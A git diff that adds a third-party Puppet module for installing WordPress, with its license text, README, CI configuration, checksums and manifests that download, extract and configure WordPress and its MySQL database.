as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/utilities/unix/puppet_module/wordpress/Modulefile b/modules/utilities/unix/puppet_module/wordpress/Modulefile new file mode 100644 index 000000000..a490a7cb7 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/Modulefile @@ -0,0 +1,13 @@ +name 'hunner-wordpress' +version '1.0.0' +source 'https://github.com/hunner/puppet-wordpress' +author 'Hunter Haugen' +license 'Apache2' +summary 'Puppet module to set up an instance of wordpress' +description 'Installs wordpress and required mysql db/user.' +project_page 'https://github.com/hunner/puppet-wordpress' + +## Add dependencies, if any: +#dependency 'puppetlabs/concat', '>= 1.0.0' +#dependency 'puppetlabs/mysql', '>= 2.1.0' +#dependency 'puppetlabs/stdlib', '>= 2.3.1' diff --git a/modules/utilities/unix/puppet_module/wordpress/README.markdown b/modules/utilities/unix/puppet_module/wordpress/README.markdown new file mode 100644 index 000000000..ca6cc5bc9 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/README.markdown @@ -0,0 +1,215 @@ +# WordPress Module + +## Overview + +This will set up one or more installations of Wordpress 3.8 on Debian and Redhat style distributions. + +## Capabilities + +#### Installation includes: + +- Configuration of WordPress DB connection parameters +- Generate secure keys and salts for `wp-config.php`. +- Optional creation of MySQL database/user/permissions. + +#### Requires: + +- Configuration of php-enabled webserver +- Configuration MySQL server +- PHP 5.3 or greater +- User specified by `wp_owner` must exist + +## Parameters + +### Class wordpress + +* `install_dir`
+ Specifies the directory into which wordpress should be installed. Default: `/opt/wordpress` + +* `install_url`
+ Specifies the url from which the wordpress tarball should be downloaded. Default: `http://wordpress.org` + +* `version`
+ Specifies the version of wordpress to install. Default: `3.8` + +* `create_db`
+ Specifies whether to create the db or not. Default: `true` + +* `create_db_user`
+ Specifies whether to create the db user or not. Default: `true` + +* `db_name`
+ Specifies the database name which the wordpress module should be configured to use. Default: `wordpress` + +* `db_host`
+ Specifies the database host to connect to. Default: `localhost` + +* `db_user`
+ Specifies the database user. Default: `wordpress` + +* `db_password`
+ Specifies the database user's password in plaintext. Default: `password` + +* `wp_owner`
+ Specifies the owner of the wordpress files. You must ensure this user exists as this module does not attempt to create it if missing. Default: `root` + +* `wp_group`
+ Specifies the group of the wordpress files. Default: `0` (\*BSD/Darwin compatible GID) + +* `wp_lang`
+ WordPress Localized Language. Default: '' + +* `wp_plugin_dir`
+ WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default + +* `wp_additional_config`
+ Specifies a template to include near the end of the wp-config.php file to add additional options. Default: '' + +* `wp_config_content`
+ Specifies the entire content for wp-config.php. This causes many of the other parameters to be ignored and allows an entirely custom config to be passed. It is recommended to use `wp_additional_config` instead of this parameter when possible. + +* `wp_table_prefix`
+ Specifies the database table prefix. Default: wp_ + +* `wp_proxy_host`
+ Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: '' + +* `wp_proxy_port`
+ Specifies the port to use with the proxy host. Default: '' + +* `wp_site_url`
+ If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: 'undef' + +* `wp_multisite`
+ Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false` + +* `wp_site_domain`
+ Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: '' + +* `wp_debug`
+ Specifies the `WP_DEBUG` value that will control debugging. This must be true if you use the next two debug extensions. Default: 'false' + +* `wp_debug_log`
+ Specifies the `WP_DEBUG_LOG` value that extends debugging to cause all errors to also be saved to a debug.log logfile insdie the /wp-content/ directory. Default: 'false' + +* `wp_debug_display`
+ Specifies the `WP_DEBUG_DISPLAY` value that extends debugging to cause debug messages to be shown inline, in HTML pages. Default: 'false' + +### Define wordpress::instance + +* The parameters for `wordpress::instance` is exactly the same as the class `wordpress` except as noted below. +* The title will be used as the default value for `install_dir` unless otherwise specified. +* The `db_name` and `db_user` parameters are required. + +### Other classes and defines + +The classes `wordpress::app` and `wordpress::db` and defines `wordpress::instance::app` and `wordpress::instance::db` are technically private, but any PRs which add documentation and tests so that they may be made public for multi-node deployments are welcome! + +## Example Usage + +Default single deployment (insecure; default passwords and installed as root): + +```puppet +class { 'wordpress': } +``` + +Basic deployment (secure database password, installed as `wordpress` user/group. NOTE: in this example you must ensure the `wordpress` user already exists): + +```puppet +class { 'wordpress': + wp_owner => 'wordpress', + wp_group => 'wordpress', + db_user => 'wordpress', + db_password => 'hvyH(S%t(\"0\"16', +} +``` + +Basic deployment of multiple instances (secure database password, installed as `wordpress` user/group): + +```puppet +wordpress::instance { '/opt/wordpress1': + wp_owner => 'wordpress1', + wp_group => 'wordpress1', + db_user => 'wordpress1', + db_name => 'wordpress1', + db_password => 'hvyH(S%t(\"0\"16', +} +wordpress::instance { '/opt/wordpress2': + wp_owner => 'wordpress2', + wp_group => 'wordpress2', + db_user => 'wordpress2', + db_name => 'wordpress2', + db_password => 'bb69381b4b9de3a232', +} +``` + +Externally hosted MySQL DB: + +```puppet +class { 'wordpress': + db_user => 'wordpress', + db_password => 'hvyH(S%t(\"0\"16', + db_host => 'db.example.com', +} +``` + +Disable module's database/user creation (the database and db user must still exist with correct permissions): + +```puppet +class { 'wordpress': + db_user => 'wordpress', + db_password => 'hvyH(S%t(\"0\"16', + create_db => false, + create_db_user => false, +} +``` + +Install specific version of WordPress: + +```puppet +class { 'wordpress': + version => '3.4', +} +``` + +Install WordPress to a specific directory: + +```puppet +class { 'wordpress': + install_dir => '/var/www/wordpress', +} +``` + +Download `wordpress-${version}.tar.gz` from an internal server: + +```puppet +class { 'wordpress': + install_url => 'http://internal.example.com/software', +} +``` + +Configure wordpress to download updates and plugins through a proxy: + +```puppet +class { 'wordpress': + proxy_host => 'http://my.proxy.corp.com', + proxy_port => '8080', +} +``` + +Enable the multisite wordpress feature: + +```puppet +class { 'wordpress': + wp_multisite => true, + wp_site_domain => 'blog.domain.com', +} +``` + +Add custom configuration to wp-config.php: + +```puppet +class { 'wordpress': + wp_additional_config => 'foo/wp-config-extra.php.erb', +} +``` diff --git a/modules/utilities/unix/puppet_module/wordpress/Rakefile b/modules/utilities/unix/puppet_module/wordpress/Rakefile new file mode 100644 index 000000000..81381e0cf --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/Rakefile @@ -0,0 +1,2 @@ +require 'puppetlabs_spec_helper/rake_tasks' +require 'puppet-syntax/tasks/puppet-syntax' diff --git a/modules/utilities/unix/puppet_module/wordpress/appveyor.yml b/modules/utilities/unix/puppet_module/wordpress/appveyor.yml new file mode 100644 index 000000000..5fd5e8925 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/appveyor.yml @@ -0,0 +1,57 @@ +version: 1.1.x.{build} +skip_commits: + message: /^\(?doc\)?.*/ +clone_depth: 10 +init: + - SET + - 'mkdir C:\ProgramData\PuppetLabs\code && exit 0' + - 'mkdir C:\ProgramData\PuppetLabs\facter && exit 0' + - 'mkdir C:\ProgramData\PuppetLabs\hiera && exit 0' + - 'mkdir C:\ProgramData\PuppetLabs\puppet\var && exit 0' +environment: + matrix: + - + RUBY_VERSION: 24-x64 + CHECK: syntax lint + - + RUBY_VERSION: 24-x64 + CHECK: metadata_lint + - + RUBY_VERSION: 24-x64 + CHECK: rubocop + - + PUPPET_GEM_VERSION: ~> 4.0 + RUBY_VERSION: 21 + CHECK: spec + - + PUPPET_GEM_VERSION: ~> 4.0 + RUBY_VERSION: 21-x64 + CHECK: spec + - + PUPPET_GEM_VERSION: ~> 5.0 + RUBY_VERSION: 24 + CHECK: spec + - + PUPPET_GEM_VERSION: ~> 5.0 + RUBY_VERSION: 24-x64 + CHECK: spec +matrix: + fast_finish: true +install: + - set PATH=C:\Ruby%RUBY_VERSION%\bin;%PATH% + - bundle install --jobs 4 --retry 2 --without system_tests + - type Gemfile.lock +build: off +test_script: + - bundle exec puppet -V + - ruby -v + - gem -v + - bundle -v + - bundle exec rake %CHECK% +notifications: + - provider: Email + to: + - nobody@nowhere.com + on_build_success: false + on_build_failure: false + on_build_status_changed: false diff --git a/modules/utilities/unix/puppet_module/wordpress/checksums.json b/modules/utilities/unix/puppet_module/wordpress/checksums.json new file mode 100644 index 000000000..0bdf56ac6 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/checksums.json @@ -0,0 +1,32 @@ +{ + "CHANGELOG": "ba576a0ae6f161e2e819c13a15dff5fd", + "Gemfile": "bdda4a55669a2bf8916f49d490a61771", + "Modulefile": "68f682f55645a6fcd737a4363efeea60", + "README.markdown": "b6657a19dc019a402c9dced8d79bde57", + "Rakefile": "0254db5d3fc38c67a2c160d7296a24f8", + "manifests/app.pp": "da4bf0828c6560ae23f7e59fd4950ead", + "manifests/db.pp": "ff3db53cd7fb2525e9387fc84ff9a6a6", + "manifests/init.pp": "f13b68c2c8344dd27e84ab1884e842b0", + "manifests/instance/app.pp": "35e091c60721ca8506e4bc1d307fbcfd", + "manifests/instance/db.pp": "fe0188226adb4958584f65d3e65e39a2", + "manifests/instance.pp": "a00ac7d6cf83eae37db20eebe9c4863d", + "metadata.json": "595d4419cdca855211fec50f2c704183", + "spec/acceptance/nodesets/centos-6-vcloud.yml": "bdf9ce9d3b0f0b4995666ae9d64d878d", + "spec/acceptance/nodesets/centos-64-x64-pe.yml": "ec075d95760df3d4702abea1ce0a829b", + "spec/acceptance/nodesets/centos-64-x64.yml": "092dd2c588a9f87fa1fb12997c0723ef", + "spec/acceptance/nodesets/centos-65-x64.yml": "3e5c36e6aa5a690229e720f4048bb8af", + "spec/acceptance/nodesets/default.yml": "092dd2c588a9f87fa1fb12997c0723ef", + "spec/acceptance/nodesets/fedora-18-x64.yml": "80e41b1ee16ea489f53164bfdae58855", + "spec/acceptance/nodesets/sles-11-x64.yml": "44e4c6c15c018333bfa9840a5e702f66", + "spec/acceptance/nodesets/ubuntu-server-10044-x64.yml": "75e86400b7889888dc0781c0ae1a1297", + "spec/acceptance/nodesets/ubuntu-server-12042-x64.yml": "d30d73e34cd50b043c7d14e305955269", + "spec/acceptance/wordpress_spec.rb": "3efdf1b9a64dde0eef24c70b9cf06756", + "spec/classes/wordpress_spec.rb": "678d8ef399e31af535b999f4306aaf0a", + "spec/defines/wordpress_spec.rb": "0b7d8b2ca62c9734410ecbe2b3705500", + "spec/spec.opts": "c407193b3d9028941ef59edd114f5968", + "spec/spec_helper.rb": "0db89c9a486df193c0e40095422e19dc", + "spec/spec_helper_acceptance.rb": "c042c527f40d5b1417b0228531082ded", + "templates/wp-config.php.erb": "3922ceee6b79943f3d0c92e72ee4477d", + "templates/wp-keysalts.php.erb": "e48447c1a47e8b66bc823ff1d49e0da7", + "tests/init.pp": "4086340a435b8b5b3fbbdb2b119c42e4" +} \ No newline at end of file diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp new file mode 100644 index 000000000..fcefb1f99 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp @@ -0,0 +1,48 @@ +class wordpress::app ( + $install_dir, + $install_url, + $version, + $db_name, + $db_host, + $db_user, + $db_password, + $wp_owner, + $wp_group, + $wp_lang, + $wp_config_content, + $wp_plugin_dir, + $wp_additional_config, + $wp_table_prefix, + $wp_proxy_host, + $wp_proxy_port, + $wp_site_url, + $wp_multisite, + $wp_site_domain, + $wp_debug, + $wp_debug_log, + $wp_debug_display, +) { + wordpress::instance::app { $install_dir: + install_dir => $install_dir, + install_url => $install_url, + version => $version, + db_name => $db_name, + db_host => $db_host, + db_user => $db_user, + db_password => $db_password, + wp_owner => $wp_owner, + wp_group => $wp_group, + wp_lang => $wp_lang, + wp_plugin_dir => $wp_plugin_dir, + wp_additional_config => $wp_additional_config, + wp_table_prefix => $wp_table_prefix, + wp_proxy_host => $wp_proxy_host, + wp_proxy_port => $wp_proxy_port, + wp_site_url => $wp_site_url, + wp_multisite => $wp_multisite, + wp_site_domain => $wp_site_domain, + wp_debug => $wp_debug, + wp_debug_log => $wp_debug_log, + wp_debug_display => $wp_debug_display, + } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp new file mode 100644 index 000000000..9c0c160d3 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp @@ -0,0 +1,14 @@ +class wordpress::conf ($version){ + file { '/wordpress_conf.sh': + owner => 'root', + group => 'root', + ensure => present, + mode => '0755', + content => template('wordpress/wordpress_conf.sh.erb'), + } + +# exec { 'run wordpress config script': +# command => '/bin/bash /tmp/wordpress_conf.sh', +# require => File['/tmp/wordpress_conf.sh'], +# } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp new file mode 100644 index 000000000..39cfd63f1 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp @@ -0,0 +1,17 @@ +class wordpress::db ( + $create_db, + $create_db_user, + $db_name, + $db_host, + $db_user, + $db_password, +) { + wordpress::instance::db { "${db_host}/${db_name}": + create_db => $create_db, + create_db_user => $create_db_user, + db_name => $db_name, + db_host => $db_host, + db_user => $db_user, + db_password => $db_password, + } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp new file mode 100644 index 000000000..c259296ed --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp @@ -0,0 +1,139 @@ +# == Class: wordpress +# +# This module manages wordpress +# +# === Parameters +# +# [*install_dir*] +# Specifies the directory into which wordpress should be installed. Default: +# /opt/wordpress +# +# [*install_url*] +# Specifies the url from which the wordpress tarball should be downloaded. +# Default: http://wordpress.org +# +# [*version*] +# Specifies the version of wordpress to install. Default: 3.8 +# +# [*create_db*] +# Specifies whether to create the db or not. Default: true +# +# [*create_db_user*] +# Specifies whether to create the db user or not. Default: true +# +# [*db_name*] +# Specifies the database name which the wordpress module should be configured +# to use. Default: wordpress +# +# [*db_host*] +# Specifies the database host to connect to. Default: localhost +# +# [*db_user*] +# Specifies the database user. Default: wordpress +# +# [*db_password*] +# Specifies the database user's password in plaintext. Default: password +# +# [*wp_owner*] +# Specifies the owner of the wordpress files. You must ensure this user +# exists as this module does not attempt to create it if missing. Default: +# root +# +# [*wp_group*] +# Specifies the group of the wordpress files. Default: 0 (*BSD/Darwin +# compatible GID) +# +# [*wp_lang*] +# WordPress Localized Language. Default: '' +# +# +# [*wp_plugin_dir*] +# WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default +# +# [*wp_additional_config*] +# Specifies a template to include near the end of the wp-config.php file to add additional options. Default: '' +# +# [*wp_table_prefix*] +# Specifies the database table prefix. Default: wp_ +# +# [*wp_proxy_host*] +# Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: '' +# +# [*wp_proxy_port*] +# Specifies the port to use with the proxy host. Default: '' +# +# [*wp_site_url*] +# If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: `undef` +# +# [*wp_multisite*] +# Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false` +# +# [*wp_site_domain*] +# Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: '' +# +# [*wp_debug*] +# Specifies the `WP_DEBUG` value that will control debugging. This must be true if you use the next two debug extensions. Default: 'false' +# +# [*wp_debug_log*] +# Specifies the `WP_DEBUG_LOG` value that extends debugging to cause all errors to also be saved to a debug.log logfile insdie the /wp-content/ directory. Default: 'false' +# +# [*wp_debug_display*] +# Specifies the `WP_DEBUG_DISPLAY` value that extends debugging to cause debug messages to be shown inline, in HTML pages. Default: 'false' +# +# === Requires +# +# === Examples +# +class wordpress ( + $install_dir = '/opt/wordpress', + $install_url = 'http://wordpress.org', + $version = '4.9', + $create_db = true, + $create_db_user = true, + $db_name = 'wordpress', + $db_host = 'localhost', + $db_user = 'wordpress', + $db_password = 'password', + $wp_owner = 'root', + $wp_group = '0', + $wp_lang = '', + $wp_config_content = undef, + $wp_plugin_dir = 'DEFAULT', + $wp_additional_config = 'DEFAULT', + $wp_table_prefix = 'wp_', + $wp_proxy_host = '', + $wp_proxy_port = '', + $wp_site_url = undef, + $wp_multisite = false, + $wp_site_domain = '', + $wp_debug = false, + $wp_debug_log = false, + $wp_debug_display = false, +) { + wordpress::instance { $install_dir: + install_dir => $install_dir, + install_url => $install_url, + version => $version, + create_db => $create_db, + create_db_user => $create_db_user, + db_name => $db_name, + db_host => $db_host, + db_user => $db_user, + db_password => $db_password, + wp_owner => $wp_owner, + wp_group => $wp_group, + wp_lang => $wp_lang, + wp_config_content => $wp_config_content, + wp_plugin_dir => $wp_plugin_dir, + wp_additional_config => $wp_additional_config, + wp_table_prefix => $wp_table_prefix, + wp_proxy_host => $wp_proxy_host, + wp_proxy_port => $wp_proxy_port, + wp_site_url => $wp_site_url, + wp_multisite => $wp_multisite, + wp_site_domain => $wp_site_domain, + wp_debug => $wp_debug, + wp_debug_log => $wp_debug_log, + wp_debug_display => $wp_debug_display, + } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp new file mode 100644 index 000000000..54e92fb85 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp @@ -0,0 +1,135 @@ +# == Definition: wordpress::instance +# +# This module manages wordpress +# +# === Parameters +# +# [*install_dir*] +# Specifies the directory into which wordpress should be installed. Default: +# /opt/wordpress +# +# [*install_url*] +# Specifies the url from which the wordpress tarball should be downloaded. +# Default: http://wordpress.org +# +# [*version*] +# Specifies the version of wordpress to install. Default: 3.8 +# +# [*create_db*] +# Specifies whether to create the db or not. Default: true +# +# [*create_db_user*] +# Specifies whether to create the db user or not. Default: true +# +# [*db_name*] +# Specifies the database name which the wordpress module should be configured +# to use. Required. +# +# [*db_host*] +# Specifies the database host to connect to. Default: localhost +# +# [*db_user*] +# Specifies the database user. Required. +# +# [*db_password*] +# Specifies the database user's password in plaintext. Default: password +# +# [*wp_owner*] +# Specifies the owner of the wordpress files. Default: root +# +# [*wp_group*] +# Specifies the group of the wordpress files. Default: 0 (*BSD/Darwin +# compatible GID) +# +# [*wp_lang*] +# WordPress Localized Language. Default: '' +# +# +# [*wp_plugin_dir*] +# WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default +# +# [*wp_additional_config*] +# Specifies a template to include near the end of the wp-config.php file to add additional options. Default: '' +# +# [*wp_table_prefix*] +# Specifies the database table prefix. Default: wp_ +# +# [*wp_proxy_host*] +# Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: '' +# +# [*wp_proxy_port*] +# Specifies the port to use with the proxy host. Default: '' +# +# [*wp_site_url*] +# If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: `undef` +# +# [*wp_multisite*] +# Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false` +# +# [*wp_site_domain*] +# Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: '' +# +# === Requires +# +# === Examples +# +define wordpress::instance ( + $db_name, + $db_user, + $install_dir = $title, + $install_url = 'http://wordpress.org', + $version = '3.8', + $create_db = true, + $create_db_user = true, + $db_host = 'localhost', + $db_password = 'password', + $wp_owner = 'root', + $wp_group = '0', + $wp_lang = '', + $wp_config_content = undef, + $wp_plugin_dir = 'DEFAULT', + $wp_additional_config = 'DEFAULT', + $wp_table_prefix = 'wp_', + $wp_proxy_host = '', + $wp_proxy_port = '', + $wp_site_url = undef, + $wp_multisite = false, + $wp_site_domain = '', + $wp_debug = false, + $wp_debug_log = false, + $wp_debug_display = false, +) { + wordpress::instance::app { $install_dir: + install_dir => $install_dir, + install_url => $install_url, + version => $version, + db_name => $db_name, + db_host => $db_host, + db_user => $db_user, + db_password => $db_password, + wp_owner => $wp_owner, + wp_group => $wp_group, + wp_lang => $wp_lang, + wp_config_content => $wp_config_content, + wp_plugin_dir => $wp_plugin_dir, + wp_additional_config => $wp_additional_config, + wp_table_prefix => $wp_table_prefix, + wp_proxy_host => $wp_proxy_host, + wp_proxy_port => $wp_proxy_port, + wp_site_url => $wp_site_url, + wp_multisite => $wp_multisite, + wp_site_domain => $wp_site_domain, + wp_debug => $wp_debug, + wp_debug_log => $wp_debug_log, + wp_debug_display => $wp_debug_display, + } + + wordpress::instance::db { "${db_host}/${db_name}": + create_db => $create_db, + create_db_user => $create_db_user, + db_name => $db_name, + db_host => $db_host, + db_user => $db_user, + db_password => $db_password, + } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp new file mode 100644 index 000000000..4bc1291e3 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp @@ -0,0 +1,146 @@ +define wordpress::instance::app ( + $install_dir, + $install_url, + $version, + $db_name, + $db_host, + $db_user, + $db_password, + $wp_owner, + $wp_group, + $wp_lang, + $wp_config_content, + $wp_plugin_dir, + $wp_additional_config, + $wp_table_prefix, + $wp_proxy_host, + $wp_proxy_port, + $wp_site_url, + $wp_multisite, + $wp_site_domain, + $wp_debug, + $wp_debug_log, + $wp_debug_display, +) { + validate_string($install_dir,$install_url,$version,$db_name,$db_host,$db_user,$db_password,$wp_owner,$wp_group, $wp_lang, $wp_plugin_dir,$wp_additional_config,$wp_table_prefix,$wp_proxy_host,$wp_proxy_port,$wp_site_domain) + validate_bool($wp_multisite, $wp_debug, $wp_debug_log, $wp_debug_display) + validate_absolute_path($install_dir) + + if $wp_config_content and ($wp_lang or $wp_debug or $wp_debug_log or $wp_debug_display or $wp_proxy_host or $wp_proxy_port or $wp_multisite or $wp_site_domain) { + warning('When $wp_config_content is set, the following parameters are ignored: $wp_table_prefix, $wp_lang, $wp_debug, $wp_debug_log, $wp_debug_display, $wp_plugin_dir, $wp_proxy_host, $wp_proxy_port, $wp_multisite, $wp_site_domain, $wp_additional_config') + } + + if $wp_multisite and ! $wp_site_domain { + fail('wordpress class requires `wp_site_domain` parameter when `wp_multisite` is true') + } + + if $wp_debug_log and ! $wp_debug { + fail('wordpress class requires `wp_debug` parameter to be true, when `wp_debug_log` is true') + } + + if $wp_debug_display and ! $wp_debug { + fail('wordpress class requires `wp_debug` parameter to be true, when `wp_debug_display` is true') + } + + ## Resource defaults + File { + owner => $wp_owner, + group => $wp_group, + mode => '0644', + } + Exec { + path => ['/bin','/sbin','/usr/bin','/usr/sbin'], + cwd => $install_dir, + logoutput => 'on_failure', + } + + ## Installation directory + if ! defined(File[$install_dir]) { + file { $install_dir: + ensure => directory, + recurse => true, + } + } else { + notice("Warning: cannot manage the permissions of ${install_dir}, as another resource (perhaps apache::vhost?) is managing it.") + } + + ## tar.gz. file name lang-aware + if $wp_lang and $wp_lang != '' { + $install_file_name = "wordpress-${version}-${wp_lang}.tar.gz" + } else { + $install_file_name = "wordpress-${version}.tar.gz" + } + + ## Download and extract + exec { "Download wordpress ${install_url}/wordpress-${version}.tar.gz to ${install_dir}": + command => "wget ${install_url}/${install_file_name}", + creates => "${install_dir}/${install_file_name}", + require => File[$install_dir], + user => $wp_owner, + group => $wp_group, + } + -> exec { "Extract wordpress ${install_dir}": + command => "tar zxvf ./${install_file_name} --strip-components=1", + creates => "${install_dir}/index.php", + user => $wp_owner, + group => $wp_group, + } + ~> exec { "Change ownership ${install_dir}": + command => "chown -R ${wp_owner}:${wp_group} ${install_dir}", + refreshonly => true, + user => $wp_owner, + group => $wp_group, + } + + ## Configure wordpress + # + concat { "${install_dir}/wp-config.php": + owner => $wp_owner, + group => $wp_group, + mode => '0755', + require => Exec["Extract wordpress ${install_dir}"], + } + if $wp_config_content { + concat::fragment { "${install_dir}/wp-config.php body": + target => "${install_dir}/wp-config.php", + content => $wp_config_content, + order => '20', + } + } else { + # Template uses no variables + file { "${install_dir}/wp-keysalts.php": + ensure => present, + content => template('wordpress/wp-keysalts.php.erb'), + replace => false, + require => Exec["Extract wordpress ${install_dir}"], + } + 